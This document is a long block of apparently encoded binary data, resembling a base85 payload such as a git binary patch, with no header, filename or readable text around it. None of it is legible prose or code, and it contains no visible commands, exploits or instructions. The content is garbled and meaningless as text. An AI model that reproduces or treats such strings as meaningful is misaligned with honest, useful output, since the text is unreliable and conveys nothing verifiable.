z@_ieIM0L>T;C5)~xTO=u;FlVE#`2deYy#W|ZZ7DHeN|6ITYK^ii@g*G`+6aThH)Jx zJWh30gZMtLMuISESQFl)sxdiDJ`9Lq%McrsGcCzNpDSb)NNp?VsCL?&1q(4@Pu?-e z@O6h?z8B{rwTLP!;|Am9dPY>jaJ}CUe1;CnkMda|*C2&x zIY7l9m-1AYH4OX3yyrvn1~%ldZTQVAC8+Z?`dibSCdJHu()Fcg5=)S&(JY?USpT ztYjc71q?PBr1IMbo*I-g@itC0+n&NCTwl0%;DgWnl&;y~ZHX<95K|e-Q>L8-u~ppT zX&fN5&p6>4*0|986TJDI7QwC+a(R;H4V^H1UB4gVi9@o5I5RP4&X5UsV4=LA!znE4 z4GZinq_b$l0(wvXL*o?&eg%tO$%5Y-Sh5Lhi4%hSn8>rK^|_w7u&p@ov6HctwNO(# zQ6z$k9VCCTD+|Y!H;dIIX37UU!E3%9U;4Nz>+p?92xyaf;XITeU?DgZFI{f0sODxDD^%k)p+->>I_!KA_e(EKJn^@zOH7y@=1%Y#;eYGfkSccg4pQ^3Qzcm0+H1} zX>@#qvD>_I%t8~vqzE7cF|NF&203`J(8?-!YRiVS@I}7yC|ebbEAG?PxX}h*NSz9` zA0(c^!JF8S{?<3A!;vNr_-0WSUh^SX>Y)~1_f7CqL>_>Db`DV7v^`z$Yx~3N9O<*! zsGtwx$CF1awD5WzU=~@ZFYwW)v%t)vS^O*{Pdj0IkY%`y!8Y@A-G%1rBDeVAm%#8U zlHjoNMH~KR*vOh*BQ|ekEge1PMG&2Fq&Xlmw=PWm9+J`Ah9^$OmBnr3pw#YpVccUz zbc;j3EJo+mK5y{~H7zo7I@(X9-ip^h3D^FKe4?Ksx+G(2!uk#4Y%EZy-mK6D6hUz#{2Vf5e4==169YF- z%c^cD-E3O0ar}Wcm3d7chn}9k`Kn&a_==z0;_0omsYUQa@Zox4Igp~lW_sZ0*hr%v z?d!WZh{gtmKc22R9-9=OsH~1}RCHd4?d|@tMH}Fdp6a^4_u|;MZ*pUJTT)s5D5Jft{VYfZJYut z4)+^eFRu#P#LqXbiIQU?^{sb-QNzW6#+y7IENcLR%gJRO;&9r27WeVMkpTvT4C1+6>e*IMX|>|Hs>J>i5Q@U+d%#CkP3*@gOcgwTrysv>}r-4`?-T zWiZR@pZ@wpi>`7xHN}9IiHJ8Uv`EB4^g4AT9jA%+3|N_**`{W2${@BAF54b-3fN9~ z@vicO-(=s+YdH!DMqieYuLyYSKRDtm90NX=`=O^D|LQ-m5Xk6tWienoBd)|LafU}M zx?!@sl7`<8@q{XI?kUo|_97E<7XH?v;Y_^WpVQ1N-h`e>5KjVdGVl{ECYr|Lp(i() zkYf{Byg6J?Y@B_X+{~ngeC^^)CNj{(=DWhzP_7!L>_HhD~Cn=~eEEuNk zVG%KlfxxsiUO1!9sI6fEFpDEwT~Ii#L-a|y(vHY(1|Js!bnt0Y4n9krvRN7H6jM4%Vn%%AbF9->&PpfBm22F^?vo* z&;8?L+deH%<@*<0h~3{L3EA)uZyybapOlx)QjTo0+CH&C!EMXpg1h|0hixLGo9Qx&@QrI&e%mN+d7&e37y0?Y zY5%y4j1lJ=9)t4N1@Ab33DR!lKoHi*qsL6)MT^4&7lFu{=U}Z2YJ3qUJfz36VC!F8 z=Ws{=qOS0Q;odpr;-L;Ytm?%J(XCGmh z>A)K^VC2Lwp2i?a6qEVF%)R`{dn=CiupE&cxcucT+ZN5;+sL}zstm66to+<5OJk51 zaOb?&pTsURY9t12F{`~GR#1wZH;2VpT-(a#)9PuPA=Nc-!2}j9m95t5UV%8gg|%pT zqi0ZeoXQY*{TtJu4hp_RblKwJiD1)pN8h2vjHiz6M(7vz#;WS?A+Jzf4=W`1%ugQ{ z%*(4lHs<@i2q_BHW+jc%U8&&?|IW4ulG*(QmKE$m=ug0lydokJ(VE3tICF*H#9b8% zWSI@x;3l!N8eK%yfh=z1p4)NcBfP77F8K;f*p2^6$URCT#^49RP02S&!znP-NO;9V zx~;kQA>4}3aB70R~ez)Ww$Yg``3Bg74A`j|o;8bTo;wE`p5JgHk9O{P@@w1bKZm z(7GU@qf|d90aqt~7yy0skDOfMBqoch{IXaW_m`TObDEIX9_*)n9M-?-&Dp6uVxrIF zi%A>{LcEfOjf!_Pm}QfKrzx0lF!A8=U|#9NW!Ey1n}HW) z1TSTC_~CPLf-+uo3blS*T?UOeWZZEJk74s~@WB+H>xt;?{lV_+%eFuYFikPC4GRP8 zpVCM&#Y2acU`5bBuSejd;m>uUN=y%fIjIHV7T%`lf`m3O7alzu?^hMl~3<$ zqwi0CJ;vilZ)$?>6XPtxvhbmN24=G;Pc>!Zh((f?5!xNS-s%cVdVSS}Q^>HyA37Ld z{_)Rc1t5c4`i3|7N*pOq8KC2k4Fo*8LzRj_Ed25e;~DNZmZE#=)5>+%Fb9#vxEU4t z^?}mEt14Dn#xL8-E1~jQ8%}lpD;Hjm-1+JFDB;!q2(WF-#=ST!8f^*f4I6nqiOWZ{ zfjO1SA|V^4^w(*3=*!h-sqS>)xcyGshr$YEY?AsSzv^0T^5BJM=(eB0#f6XZ5?;Tn z+{xxE57O-8MiM0>Z(l^=D?i>~mt)k1Uhq*RgR&lpO*=(Y!U91x23UwdqaGZ6@hD~N zjSQRYEF}KswO1egT0h1`(KU?U!f|;kAY8&L3`E?FwL5VW4|z=y!t1_BwnD$eSS1_1 z-7u%mVVoCUY|K9)x`2%B#*qrzSEZ zh%m9Y4v&M{#}Pr%@>B)%_I<%yt~M&Z(5o)`&}+Vy!GvYBafGeQ_;{~(b6n{a6EkHE zc(=?I2P2QMT=I)_@B~JN>ev~-@AD#ltNa8kTT#rD&2S_gi>5Sl7=ZSMv2Hd%v$5b! z3#EbA(7BwY1RQ;|$40b8jDICZ`7`!O+T%Jd!bLW8Y_C7?@F!CE6KBUT5mpwaeX@O+ zp9IuKVuv1QL|7@c5|6V`INE2NjpktXqADe(W$Wx z;ZxY=m1~%|YjZ<~1it+8rD>n@dMm!m!72U^KhtZ6p6a_6`WW}`bWrSfufOK+D}X;OnbQB$^qN92((eyZpP#@r(>f+{U&zHn3GrdzNgI!K8*f8-yPJP zj*SX7)jm_7%d6@bzhj4Nz~vi+Dqrk#;bf1t)9`sre}dB%wB3t~y~7_{@tl5a*R~^k z`)t<{r6YA^Y>R{&H?C#tKf8irkJx0x7@ScHhi((NjSLR8rs0}l_`+tH>NX#;`R#HE zD{4)zxOuDB5<@}9fd^@5PzTdgTh)-%%EcKL_*dm|1>g8KEh2diYt#}5L%|ziZyIiR zpI4xKO252@?7>&sv(%TT5#4x8I%(RFN9IJRdA_MQdnH?O@tU1rH#Gb-h0gfuYt$+W zSy#z{ia0AvA3Ge#9|g6C8RriRx?aHG5*Zj&N>dR!*}NR zF+q3JaD2mJXh%h@Rh;w7#URqLGbKS-m+r`+XI(;N!VGKp?--YvPl}fK)pN*B7$bI; z7Uci%tng#~Hg5Q1u!@zH3WIB&(Y*&=R0K`2SH74ho?u|bxA5{`uc|xaBY)_vZ{s=% z21xY9JDD@dBm&1ZWNU;0nt_95`9@FSyXly4M}<|Pi}b4z=&?WY{g*fO zu2ucs_9M$b&i6Gd)z5t~fnq|&QztA8y{7>!16ejIc&dWaHy>y~%Vgst<<;@(CkUKcf4WSpk#fY^xh;o`^{xVI1`Zc;7$`pRq6}u8P~^Su7Fycv*|q{@7sSk=XrH z?v!&Ec(T}&%?L04sf?JAcT$u0!I#daR89*rq2WX`n^m8w{$z0|lXFirsGHJ7SYG^5 zK2SFPvn^17;Ys<6;<5-|?1=K_7n@m=8!{SQrd6)IQwDN;%C9*J896S86YupND+m_u zRXjr&4Q2=mjCU!*jg5=&4?SUFTUt+s<&{v{=X>-wh0o&Z&-D}+3$0x^!_C4PaaC2~ zC(p_^!HrRpfGxtw4?a5s24B9g2v`1knwrOi8~X9P|VhM)Kf-vx@4u zgb*PS7k$Fp5ejULhrrXHDIAxBKo1S5ccS?us%0fZ@empRC@o&erVWc9z-w)q%AbGQ(MR^DkRXjiCF*ugmB zIkh3km>zpJ{{@E)Rc7&y&V@&fjWPO+7Yf})ch6_T;^-F<`6d^6 zLR&|3~iuFPi|!BYk1X{ZAX2OPrGZp;@9$s7JcC-9OU%B zs}gEP5y#?5%iYmYl;fr?aCx5j`j1#JhC__x6;9r z)8I;zhjxl4(F3!|#&mSpc+6VpIPCz%4Jh;$#l9VUk{RBK=%C9kQ^s;FoSO*Eb z@J*R;I74~P;yB+)c~THyv;W*)K9-6RcoG@7(d)^HK>YE^!I!uM2bi$!vwwWcZ<$D%bUM*Z)dSnQ zOE_R61i><93FpEs%II*s&7Jy>XxCs)Do11TI#r)=qOV%(uHZ&$cfynYtoZ0LW%ApY ziCpjpZ+*_(0UDDsBCqik(!HvM#3G+lCd0kF14sSKyK%C?czQY$4hpxub_yPy} z@-b$}bz!=IOW+>Qosz8D#lItV|6;i9S$S4+BZiLAV<-5RiO5kH5!ywn=H#LPrmK5m z+JN#Ebqh94gk?D(1j8F&Jh$%Up~Bb-#k9w-N{l=dSWLH78LDU8#ZE(p%CF0q%1sb= zE6@;#&r(+03vdbW8G30PJy;^BXS3dp4C!+oj0Z=Goa=2dP1kMl-caRuf^UXid8}AE zM8CuGEXBK?(E-W@fiB@JF28Z2p}+BQIbUmp1jtkK;96k>-8!Q{m-WWGV9+8vSl!kF zt@S~(veAj<4m@hEDi7@m({$-b)WDtP9k_)^(&|OIpQsn z*AnF+Fn*ede>EEy43zv$3nnL8G~pFC-n7u7JOjE9K6%5ZIDex7^jq4rcwG~AUWLHq zom090iqrAVmhX5YTc}fB9916pbgBlGyn?2KTArwQS0`@Rs9-|D#>Izv4F?O~2e3=~M&m{Rc!ORI|PgXQ}?8XHXb^M%YhQ>)OP7|^z;R(Fzn-`4a0_UUZ zn$So;VYZB%X5)-hW#EcNeQvreX;tshe6|j&jgX2>6qF_Vatf1h9R}=H-Q_-0GajNrYn$RP`B8X4I zNvt|)?XFj8J3eU~N*%l0^jm(w;(~YnRhd!28#Q@H9yObgj*bce8at{d){1&I7AWhx zGAmjuwTHg=qLVzkc|qPt1udlj>5r7liiG&|%X`-Gh6+ z>qcA9HYe>4#SmKn&jKPRnrVOd{)87*XoFNIXn&xwQA*pB_D6jUZH*SGzwlz>JcT4& z+8qUop}B7$oRqz7)A-PhpLp0XECPS!#bnBw{-&=QWD|k~U_Mlw1?JjQT*9RP!G`FQ zKGnC6dfJ_hcGDHG7uXasWtQI&C*sHg7(9fL{w#eYg+u^sK$E{bak-pV)?sj?iJk=6 zMQYhc6i6UE)~GmFr}@YP!mw^KKJw84SQ;+;GV-nP${d!wgM9`(oGoglbzU2Hb3(O z1m7lMOv~%#*5)SVEuppXpjX;-F_%SK+9T`;o4`I|&xGX=4KJIaJrW;q%4J1p;KYqg zG@ZyA7#Kg7ozY<)a0l$LTgK3bb{a1a9%WGnU-Z}$B%xV8p7B$eVV+4JsywT6q2WvE zfp_CT12Ioo&=6P*7Y}U)aaCJkyWIHLwD?M!7GG*(gSi9Ww_wi2;iuPL&I$hyKGl3f zPg$^O;h#20yJ^AGkUVWcpUuG^KN-0a^3(B94A=xVkA2pjnA?od1KX)|fY9o%4$B!> zvPlIlk(`hs1FmXQ;|5dYDGt!)f*Bs_v3M$*G=d+#lT)D+^2C}ppn;2z z@cqMIxuz&?p->l7neTDoLwB4Nj&aeE`wj8?@}#VrVAOAjCSpfb?xrh7^D33L`7k|? zICi^A=B7XkDMaTZ-lF&T+=t(Jp2zQ?w(ukqX!m@bq9t(;<1PB&a8~-3=N>)Z0(~p! zd)0g+=6kfDWAt3q`IS)T%5mt}lYWsq6gH>IFtc)u3i+a4c?=87{}AY#PuH!Avy_}T zZvZi88XOPsr29BYD0ah#GJ-y!9T1jA>lnc zB6rl9P0U@~U)f?**-7GGk-HyVMkqs)gKqM`-b#yZuNxVv;!&yNq_#Lkg;V zNT07G1_wUc1&@8YxF=K2Wj@-iUQ)y3*AyV@-=QbvtHJS0S`B0X#lj)7{Fr4EkbZRD z)U8aQf}_s?{zA;3XrRSwYqDvflbtNo>%+KwP@1PKeyxEs8yEb3q0I{(S$?d6bL~qZ z{b(-o;&c5tA?8IR4QxO3U^b5lGnoCmHY;%RL`5DG&g(XE`X=A0U@$xR>w)YB3(umo z^WTHk@ta*Y3aGNUU~nlE(fAA9l;9S>LD+ODOq~6)zRe0-`L2v&IR+8(6-Is&NA+s2 ztV6`16Hk8!o`oJ_BE}=`&=5!*Uy+Xw4DzmCzXMznZKnw1yIw?_NedfLOx`Ik-c`#a z9zPRzCfJ;~>Sl!B!OVok6UbQ%f`4R~_^io30Z8792BcEqWD-ico$92Wd=OvD5)jew z3@>zKAk6Q`w==CgcC8GNDn)N}TOXMSj02CaB8If^LmuZ+JHVpfvEr)6XRPsunul)QQbszV?dSaW1o*SE|8Y=Dh7HXZup1Z@rN2Y7Fc zyZzBOk+d1%*E`9j56Yr-7OPo^2KEzNTF^qD7Y|jA^eJ6z?qZ_tTKcK){23Ns+6W~^ zcz$UQhHr2rHGH%=0CB>fb_hS%>RVxe29Lv4oknc^lI0-}=ha0t3VaVB%&-U9`++Cq ztKD8j?xm|wq+9e!X{jz>)999nJXAGuKkl#+9z66fk5xw9yar~|p?wUCxNbV6n>Mct zYm{U9C;Av|Sg3zt!vQ;?&#A5Wo&5@jtRg(Aw+?dkctS$Dq=UYz8y(pQPnk5olcwa1 z^+`wdS~vPbP)y;AygVKs!VKA$UFhH}hF-~o-@XOL4#paAEQ_96NckxVjHAj$w;#I_j>4zV#AREm z*f($~lWsQ9CSV)DY*uxnz?%o+OPiB}7JX8}2Q9`f*#K)Bg5EqW!FVXL*ibgWvgrly zQKm^Fc}LQ~^Ru4CN5V!%JZ22WcaZ{#zkV>jqSQKfTEjt?;{qSG$^3YOUo_K&Luq+{ zj4%?y27}{*Vaiuth99Fv9swS^K$jIjGYq53U;YCJPZSU*k8fyX#9#}8*YRS*NcN*2 zb=eyiKVwmyll~kQ`}EOY^uz_<%i;SLd{gjk_17F4X+4x;pmU!t!EPIha%l3|}BdN$E9oXRgN~l%XrM@7SAXbES zo%a%Urt#m7{|!c=Y}E>Jxx%doNKti7=@s-$z#10@W%?iCrNc~7Dsqirmx7~(QEuob z6=o3Tge>>&5(k98mT?yvnFH1ESGM3$+EQ)gex3S_UMV79H2U|;;a!nskdWg6Tm_{i zv0;D+-O4uCyc^Qqm6D|?g2?TGG*ZP0Ch>RBJ7Q~EzP8-j5Jf*wuE3k7pdmLZ@|s)m zac4`kgmBq}P>#s1%t3C#!*Lu(*KpRc8UaU;8Vm?xOmG;1s2abzPPjFe6goNa;~1V@ zIve84>08prpo&2>kHhi=!Bd?~`Iu9lI)(DCK92hv4V>Ay_)xEk;&EkfTIh+3oc76y zA5KhjnELxTIj=-~PpUksNWG$DQm7uRWT^buNx*QBz?Fr;;4uVL8 zN2ERb*BHfW(tKkJv{SmPu)$Ggz+bYF<~_0x*UcQD=-uX!lg`$-Y88SX z9GeoKY0;X+XP(evF`7*YPCC0Snf3&F7Zuz7uxQmbh<=842bhz%t}~QtA~Iz>aPf*m z%HENYU$L9MB5g(RwvJ7vF#Jl6FM-1a2e2KZcfT%R z^_V3Jt`dVNvD5xafU7ZTZ)ao_GWN zWu18Tcu6#Gip%we17#;All>l&?R{1I75XC<+}Kp_caSn(VN;5DCib{^gL5t_T4Q^1 z`!Qt3Z)Q|VA{+VQNWU?54_d=n#CXuML_sZ`6*ba9&Q#yQvxR;Mh8y-p&hP- z2#f^FN#9#k^g*_g@R`Vs3mIsa%c#LS%$+{=u~6ls&ti-mL#Yb5v(W{O_%W6d6$a|j zRHfJr2V7LQ^`lOIIsF^9L3#S;I6LOj6*b`5m|$!|dx3pqQ!6&cIEKxJY=8xaJ-O`> zFHcKkT%*km#i{mU{SG%a*3B<(d`KrYg#VPkjuVL^eNKJo(sSf>>B5=MLI?z&d&>0S zh1FLg=EO%L^432z<99y7NALg7-n%x-(jCWn00`bBI>P?{zs(;Mj*u-`lt=;~NZjar zGAnDXo|%2#^FokmhSg_JuexMq)w*;~&-Bb31``=y$jlS6+T^f!bjN~spLkA{Pu(+( zr<@%+b_pnMXe(o`td={R=>Db!_A8e23ES{7)*gTT{}#X1wefF%_p|&ouU>cj{h#Xt zQ@{RmeQ4@0_2B~jG!zeg(C2^APek#7pZ`raFt~Z)*I&xV&#U%7c5h1=|JF8!Mn{y_ zU|+lKc~4FqT3(}^XZ<{?b?)nU*1R6Rd7&E;d>h{XM~KFf8x(m?)iJ1J$+tG6COEdi$+v5+`0zM(xNfZ1km5wHKX_>Sz&ttazwFX8jdL!_ zg7g~mdi4Ygp^%8;K~M^|o|dfO*qq7Nye4oUb~JVluq*KfSloOT9B|=BU(oPu5uu2i z-l>miRIt?n6bBz1XF~(}x^4KYv*9m1ukjys56BRdr$FhLX4EakRp4tO4Q$+{E04=_ zJFGSwOvVg-5+B0_8nGoJ|4D*dk5o~B9*j&>VvC##xRy$a|JAKh~CWWucryuu>u|+2wvqmQO~tRFr{e3 ztBxI8Q&ety#|iTqKF6R@rD#aob7HC`ZMoj#V%fL>d|Zt0!6!+Nex3{&pEqm_J744f z^a=RZG7(n}#-u%wxdQ@l#xO7TCPelF5x~jS-W0;@ljh9pNr+VPh#i+n7ib}J?$fsu z^OT)r?Pua-y=n*vdx*5*9P#M4!Pf2bXawp}9If;ZrgSs7TvTX3VZ6WzN8-~B>KVY5 zLE`fJn<|iSM}Qh6JC8p}3+LReV2ot*^|G&z84HaXiS($9j{Gz1>ck)PW)`|%WND4@ z|5|Wy$ESY&LI270fBDs4{Nz9V@-Kh#pZ?uH>gEOiNu0iEp^NCh_9uS$d67T&&n57+ z<$Uny^hXK)RW>eo{bFxk^zmu=T+s4HHD4FjH!1jkDb#YY`)gk0>ERcL()+Vd{vA_| zNk4Vwn-$U-Pace0E>2_fIC@yw9h|XD6?m_m#G>6c%Q7;8LfE$$t7x_eG;J4{@es~7 z({O)_r>-QJ_!?bX*uB263*zNTj>)%CtV00^^G^bC1B^GL`Hz3S2<4EI^~MbgJ}t)j z;Tsk|c4J)o#vgAC@&cVV1({QSN=+|5GQYVY(N8hkuWt|aO+kN>P%(V#!rz)NWc+r9)|@XJ_eT^m=o+bYmSeksv;;u-7-NvW$7xk|)0 zG9WT~kb~uD^SD~oh)hh6@1JsBVlJqU7ukySQ-pMS^m7I9(>6T(pLu$aKPC3){Lh_6 zfOA7X!Ol1Hc;m63cJ?QpbuQw~4={ccWo}e(Q-bFe&M`a}`G&;A=FMt8)y#Q`^H0t} zevZ++^;;Bu!}dN0F}FFFutGJ@tOXj`{btD695d&b;0yxjkedhD52!|_k>k)kA$37boUWrXvN2*=z7F??hS;PCr@eQghh>suibk58~rXoqbxvJ+X zA9jl1`Tw`N4*L6l{Pj=%!+-rd&*$Ih+J_HlFt>S=m~T1gjcM`b!x5q)50q+HLv8cs zFzX=?)>3a!`FV)A_Ss`exfvA3h=(i2gdgr{-7f=zJmW*m^wchc%wxhUrWwpdjC>v+ zYKY>H-Pt}->SS_W{6w)19Xocb+EMq|+X`r?^G{sh!3T~7+_X_JB-Z*voIKbXJD{ss zHlJ9vUNNv+M?^-_!%0gG?uTTbe-pyB#P9f^gw_t%mfS?(!#vDY&LONB%{@3B|5-O@ zUHE*W^9SbGO@ouWO@gfpT@WNzE=@BSQU(4Hnn* ziPoKWk7IA2vD-Zu8jaP4fD-_-f#i6_+o|2Q;PY<+<-=cFuvt%p#izoX#aN!}5@Yk^ zubkGgYa%{teGZd&n0vbJ=i&O*`b7@kWQ@xo6kcgkXzqo<%@AR{d|L*5J@&SauRLf63_UEHi z!M~Y}Y36y7HOw`8U%RoM8Jn(qzD2=@jyRt9$wZC~{{IQ^ejT7=&adTk+;GhJr+XP& zJ-Bf}+v|L{T02?q%tLNScn`&80kFD2uGV*_^fMHXU%g4(WPaybPlktg59d@SPjfo$%6`We}wSOZ! z4x5G1HnP1*f5338&1Tf7wRU`f@H}q&(2drfhZCSdWsvHzlm4)e|GK@zjSA?(dckc0g4R{Z+B>`Py-^%bLn7A4rc}KZytRc4RhD9UO;=b@t=buU=!H)2s ziZpebmQj2xAn9K5&z@O(nlj6tg^a`*j~AUdCrkZ@<}!ZOwU^khU_SAf?mIXkX%Pc| zkGc}8kDMG9Q(+)8gnq)Q>tmgJW@!OMx0tC5^Kwg&o=+ZKtR8piOA*0On!q|Q>rW0} z(Am$f8#(4AVi-FDk9`NMYl9>F9+$0W6P7%s3?sC6X?{}MoYS3mif|cMG4qj`DY@DU z6XbJWcTbr|zi=|To4OA2Ft{ERZN5lR>w%Voi{yE;*f*G%V>-x%F`oe9O=Vpm^OH`0 z;0A+kR`~i`G5@09SM7z}@AR#L-{{5GKmPO2_00plv9B8!e8TW=^&6}FL=-nHxPa!u znXfPNTdVv36NuZtv8p-Y9?SXEPsRuvPcq;8JFJWe7Y|&}(iL7<(R;UJ!(SZNj=X{J zi|eBHS6tN23&3Cf^Y474;_uY2e^ej+m3v;~%|$O4zWGK)e$Vt=h>~9qUyv$^bJKF6 z%J?F?SmUf?usyX`rtJk$+QBJ291(_(=`k9L(@Jk#o5$3Zfs%9e@qd zZ8~;is+z2dTF291g9=+)tsCQ`-?_qR?}_yb^KwpWI`6^-l^*1|$2TT>GMN~>#YS1d z52o(6a<&UKQ5|c9wV$uQ3baY#;j9J%j3g~0SH)uT1E!HJZZMiQWw7bhj_ajPt7B8M z-s0MhC-6m0HaFT$K5DKh0Vi5Iruq+4=B!~?A!|BOm&s&h!+sbm-bt zh@9(nru6a1G08cO-*5hV-K^!t1;(U68(Tm;dRQ=P&Bu;Wvb71s+7%!Z#sq(Z^7q zO|^klr1N3JnZ_+X1m{Z|JD9Q8CzEmL=3p0F1S_7*RDIVTgmVq-H1}*_Rh$zbvoT7+ zkP%kDW&vXZ$B^urw7elEMcW@ZKj_+$b@QKp@k{;RC%Vqog*J1YpL@%PEqDW#8=;&- zSQEK6$xYIH0E6>MzX_UiNY{=_(2jN2Yo?rI!qpp|)C1Nn)vkgux=q@}MJu~%>K5tv z4XiuC1076#w#xRBCwViTcCjmlm=uya#@=Rg?`xanY>kaIrFL7&i%`6;Pjca^ym=n% z&ly{H9_E+2w4>!9bxd`xe`{}xuMauZC%;Y*f!}1~+EdTZ{*Vu^$Mj(zzJ>GKpYeey z-4OllpZ(;Q{J(*|5%Ke%{G~o1#)rfHR@czH{_4*}@qg?5d)>VF8@0&%e}i0ObCrEw zYw3Q9xc$1z<)xpLXS-`k*W~{0jdkL49xYu|BoFshjn8>9_?gCzr{8$T=DC(N&$lL6 z^Zx%Qr1yp{t*`UBVd2+uT<7b9W|DoKuM;ch>fiE#JGH;l&1PQDQkahg7ntW;--z&h zr~fxr3czgp)iUlK7|$$9G;McZ-bro{khv?nx@DXLTAXA_3L~d<(ZhyRG5L zw%Q{QZ=HgJ3gV!V7*qV|T;uHEH~uy#~3FPvP6%C$=k5 z)~{10q_nSPEnx}LR{O}iF;Af>p4Mt#CNAJ#p`Dt(C{6$AcE)utIH$zg&ne)w_HPfx zSsa6F0Y4Nri|U7#&}%h&NVISO%C+exznimr(hSBI20rkJ)(EJHs;cIIEOayYf}?cr z)feA-+SYy|D}8D~PhtHKGOKVQt8s0}ZT!|4;9WP9`vTNByq-LV|W#6$5McNuLD zHcx;uY|gRx3QqLp*gA+OmY7pbVX>fm0;_(Hq=U#jHMp$+e>{_`1+_ z!E1wbE)x0Oayav~cInh9I~QO0cv3|7%?izx|4#~C-MZyJ=GKLDZeDN!*qaynq@iAb z{jI)n@z=UQ{tJD&=WleQ;(ygm3~pNR+vt4j;?H%F%}*xqm1REd!zX|ER6U>Y;QL9!1=JE8jS;t28Hx_m5>!bHzG<##S zg;0~VA+9zA#h|jS@TS=PL%YsEXsSIjIER-SWIzP&)Gq_kQk{a@SIrA^&szB# z-QeQIR7fDp#u)k&g8W1VpOVsp7bCnW#EW=ZUZmuk6ZuIeUeshwXx`-~9-S9G`Sfz; zmXY!cC;3_b$bDq)u6j>Fijuu^;=YW!c7bgd(l}JOCeC8?aoctLjXU_}Y+XcyKk>ze zmsGp0Ji-PAu`~OMTY?DdezBu|^7;QUS@H=2$azKc?l*X7ImfYhSU7%w<@|{r*OMP3 zTdi$tdesf~&Yqo%V~;d(Gd`U=im<0?@30UaODV=O>d<=@57yF+K>n2E4w0Yd&^t^@ zqOdcrp|MRny5k-oXszedoUD2N)AM|C^Y3-z`9J>sFCECY%>KRJ0O8Z(`B@2_vvq88 zuI3o+x%;mqbH3&c5T@@ci<2{xL=)OUtCI6)15GIQl%Y zUN4;OxCb+MR9PK&eCWZtCM!4p$k-9(1i;5yaf>pYA1cY^)1;{NNe{_!XO`+xqg z{?HFMEI4QI;TdjP@J&(98>}6f{i=lX0yiMe+Ty&O>t4=Jl$`Z)I*3j@BSF01WTpDC z#Z!Fj_%dd2j!nk$M^MacaPyD9zwSmB)m>@4NzE1?BtIe-^LE!;c;cq zj8;r-j+auMLag?=6GOH$-GHB(<7MJoTj53_Zdx_It^tUhh3AKQ%{tJ-X0_2Zdz@!{ zeH?$TmG!L3T?NiJy#6AN525k;OV1_0<+)imE`I&9-}-s_7kbV0cfaPQ#LxA!j=G7# zw=3pG1s@vYCdS|BwHZJ8=%0+zbGKh_@qGTXJg=kkx{K$0Wd1)4u)3wzB}_+uaAR(~ zR<-#09P6958Vavto&)Wh=SktcKF8m9KY!}^_&0j}#d9nF2gNUSZO@02c+TzfC~g14 z@;uLKe0UxgCa>Z8IxepV^M6t(8Eax*$LZjZJT}!9`Pjg6d}H6&dOo;{O}laS>3mR5 z$Ddg2;Y!Zx+j^Ao&2WRSjn+#21r64I;iukkQcJ^jli0M*|!<7s?QgWs6O)-e7wV=P-RtaIiF~{)%RBN5*L^IWpfA7&@ILjo?<*PF=}(U*{ioai%G*`cpR|&%I(A0< zneHBQFjss&T`suom!k}gUDunT$UnZ_+;DHAKZ-9WgFPjD%`sz@MoVVWHnNLo30_Yc z>p&p5<1&3PvFv+vz4Xg{ChWy-RUD-|0*R!x!U;7`I1;KrYMuPhuiXsnu#h9p^tHAH z39&^SycM26>qLm3kLEzb+5jteb!AgI9O z$Hg!})uS=t0wEXRYPrzD=LZ+kbHS_&TjO*A%LVlx)cPWkPyFbUKfl(04EIa@Uk`u5 z1+gAnIR7ty^-uo951*b#?;Bn}*Bf8F>6MFXzOEeoFaAsy$&%5zV4fvN4|k(#Hp=88 zmp7XHsa0LXbFs=NT={gP-++?Ljf&svl^-pig7ur*T=>qX?RgW)pVYZ7dg&Jz%e|n? zMQtuVJ$}8o9ZYUmsG!kWb`x5enzvx+9 zRljJV0{MB1XQ~OV0j;6yP5n5R8)Bnh^Jw3gA8tf=+|?K67auQd{8ezhQ0Z5_^TIxF z4DL@PXg)os^J0ei&x<3tc!8uBFtWk#8&Bfy7^enl*j)S6N5^A0EhffFd;_om06+jq zL_t*A_GzoG{q)h?jj{jThuPc3nK+2SpPaYdbr9%yKn9vByIVKt@_iw;zgyH7xXb*B zIX32T3)pbALEzf>n%Gy-t`CIe+VT=)Caa{Wtm# z&wrsC7XPPiSa96@SIOLX=7z=3^=1Yw=Vi|Ad?J`PJ@~{X4}NNbH#PWVIi>lH6}4=x ze8x7G=idIO>ASTLL-2@QzlA+gJami|=Yf7Rg8xr~^9bh|TK|j>=Lz9-+Q@mtF?pkf za|z>Qd}Gw2`;A7&p7Rg6@(JfWulOdo=Zo`=3iM;@=Z)?q)&GW41 zIML0q;A6x#a$MW0BfO1?NAv`=d%z`UykqqKig*2uY@GEf(!AhFN_cKS=eM_ zU17t=IfXZBS$pSG|5H<+Yp=1e2dr&_%V?ZI!K_Eeez6IjX)<6j2M;D=?8IoIwK zNu<3sQ+hY{RjeYuH%}E;Tw6h!T6v+PAt&D#{?=^ylRpZUM<^X#&8z3KU%`F`M z@C9pu%`SGbcYV06QxU}J`Pi?|BwKf@a}PHtyoQ8P%X#Bp^nC4H+~oS{@7MlMx^eN3 z|Ev!X@Y+cazJ0-m40w&@Z(Qhx1>bb{4GY=%;6Xloa9)4$;e(&+H5hiD*Z+#=eE9U- zu0M50yARtL&dd+%CO0Iw*)XrgSg(F?b74LlFuI=`6(d!L3uBn)OLOS87##i;nEgZ{jsfc)YE|5$e61hP$0K`OBf@KY&1SLDPmkV&Dson zcwUrOK*%zppNL<=zo{}`)Cp*WV~EZ1uX)h>FyK$W)430IoUA;ovy;*bXZS=iGa9sPKpGSd{5~A(S z-?bCF0CM^_kTFb(8;|+9eXb+RE;TgXbJnpm$){LsTzkV7P(daa25Z-<;6J8ZV~&pKxOX!-X?%PWb|wn;Ck6uAfQZVv(N}`6pfI z{+Zt7`bS+b^9_dorr%oSqWLfNsh@nZ=g<7+Rz9(-i(=XN+A^O8;wFaQ7~_K57s<*) z7dl|-JEAVX^1@AZ^CmREQ_3gPxEbM}({L>m-ys97EwBXI8{iHn?!iwSInf~U2 zH*G(G~qhJQwK3gPsfg+t~UPC+Csh>bU}p&lQUEjSJ%R9N>7J=ksO??L2he={YNL zIbL0>cG&#p;yjOJol#UCZs^tOl4mm(J3YDmh7azx6ZgQ6J~pSx4n}B~m(a#mPEKp< zGZlesIlV{re(cDhk8t}!U>B}_l+?7S37bzw2M&r_l#(Vv;l337B-)L z_Ba6QHI~*oUH{$hv^F&V{zSA^IlRdQ0eBuX=+oLZx~*qd++!Z(-nxLItYHNkcW!JB z5L?vkH7wU=uRv`t7ozPYDVH7ZWjwH6VU8c>BiGQJSDw0@cm1sY}MR<0!+w_Et)6MPx>9KQ)EU?ZEwsAsap~&xZfW%+vTIT=yyI=g| 